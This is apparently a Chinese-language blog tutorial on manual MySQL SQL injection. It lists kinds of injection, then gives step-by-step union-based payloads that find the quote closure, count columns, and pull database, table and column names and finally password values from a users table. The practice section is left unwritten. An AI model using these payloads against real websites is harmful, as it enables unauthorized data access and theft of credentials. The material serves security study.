mysql报错手工注入_MYSQL手工注入（详细步骤）—— 待补充

0x00 SQL注入的分类：

(1)基于从服务器接收到的响应

▲基于错误的 SQL 注入

▲联合查询的类型

▲堆查询注射

▲SQL 盲注

•基于布尔 SQL 盲注

•基于时间的 SQL 盲注

•基于报错的 SQL 盲注

(2)基于如何处理输入的 SQL 查询(数据类型)

•基于字符串

•数字或整数为基础的

(3)基于程度和顺序的注入(哪里发生了影响)

★一阶注射

★二阶注射

(4)基于注入点的位置上的

▲通过用户输入的表单域的注射。

▲通过 cookie 注射。

▲通过服务器变量注射。 (基于头部信息的注射)

0x01 MYSQL 手工注入流程——基于错误的 SQL 注入

(1)闭合方式：

首先，需要确定SQL语句的闭合方式，常见闭合方式有：

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

(2)order by 查字段数

举例：

?id=1' order by 4--+  //返回Ture(这里的--+可以替换为#，都是注释符的意思)

?id=1' order by 5--+  //返回False

说明字段数为4

(3)确定数据显示位置

?id=0' union select 1,2,3,4--+

通过，1,2,3,4的显示效果，确定要在哪个数字上面做改动

(4)查询当前数据库名

?id=0' union select 1,2,3,database()--+

(这里假设，该页面只能将4号位置的数据显示出来，所以只需要对4号位置的数据做改动)

(5)查询当前数据库的所有表名

0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

(6)查指定表名的所有字段名

0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

(7)查指定表的指定字段的所有内容

0' union select 1,2,3,group_concat(password) from users --+

(8)上面的情况是数据很少的时候，可以把指定字段的所有内容显示出来，但是有可能数据太多，不容易分辨，那么就可以在语句后面加上查询数量的限制

1)0' union select 1,2,3,password from users limit 0,1--+

2)0' union select 1,2,3,password from users limit 1,1--+

3)0' union select 1,2,3,password from users limit 2,1--+

0x02 MYSQL 手工注入实战——基于错误的 SQL 注入

这里暂时还没写好，等之后补充进来。